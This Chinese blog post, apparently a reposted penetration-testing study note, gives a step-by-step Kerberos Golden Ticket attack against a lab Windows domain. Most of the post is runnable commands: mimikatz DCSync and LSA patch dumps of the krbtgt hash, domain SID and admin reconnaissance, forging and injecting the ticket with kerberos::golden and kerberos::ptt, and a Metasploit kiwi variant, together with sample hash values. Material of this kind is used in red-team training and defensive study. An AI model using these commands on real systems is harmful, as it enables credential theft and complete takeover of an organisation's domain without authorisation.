【内网学习笔记】28、黄金票据

0、前言

RT 在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:

  • 伪造的域管理员用户名
  • 完整的域名
  • 域 SID
  • krbtgt 的 NTLM Hash 或 AES-256 值

其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。

在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。

1、导出 krbtgt 的 NTLM Hash

在 mimikatz 下执行以下命令

lsadump::dcsync /domain:teamssix.com /user:krbtgt

这里得到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087

该命令使用的 dcsync 功能远程转储 AD 里的 ntds.dit,使用 /user 参数,可以只导出指定用户的值。

或者使用以下命令获取 krbtgt 的 NTLM Hash ,域 SID 值,但该命令无法获取 AES-256 的值

privilege::debug
lsadump::lsa /patch /user:krbtgt

2、获取基本信息

获取域 SID

wmic useraccount get name,sid

这里得到 administrator 的 SID 为 S-1-5-21-284927032-1122706408-2778656994-500,即表示当前域的 SID 就是 S-1-5-21-284927032-1122706408-2778656994

获取当前用户的 SID

whoami /user

查询域管理员账号

net group "domain admins" /domain

查询域名

ipconfig /all

3、制作黄金票据

先将票据清空

kerberos::purge

生成票据

kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi

传递票据并注入内存

kerberos::ptt Administrator.kiribi

4、验证权限

退出 mimikatz ,使用 dir 发现可以成功列出域控文件

image

这里使用 PsExec 也同样是能获取到权限的,除了上面使用 NTLM Hash 之外,还可以使用 krbtgt 的 AES-256 值生成黄金票据

kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /aes256:3dfa1f9b5809250a7670c12d1e109f0acb9660f902da8aa3a4be55a16affbbd5 /ticket:Administrator.kiribi

命令完成之后,也会生成一个 Administrator.kiribi 文件,之后的操作就都一样了。

5、MSF 下的利用

首先上线一个普通用户,然后加载 kiwi 模块

load kiwi

生成黄金票据

golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af087 -s S-1-5-21-284927032-1122706408-2778656994 -u administrator -t /root/administrator.ticket

将黄金票据注入内存

kerberos_ticket_use /root/administrator.ticket

注入成功后,进入 Shell 就能查看 dc 里的文件了

image

参考文章:

https://www.freebuf.com/articles/web/274035.html

原文链接:

https://teamssix.com/210927-163036.html

你可能感兴趣的:(【内网学习笔记】28、黄金票据)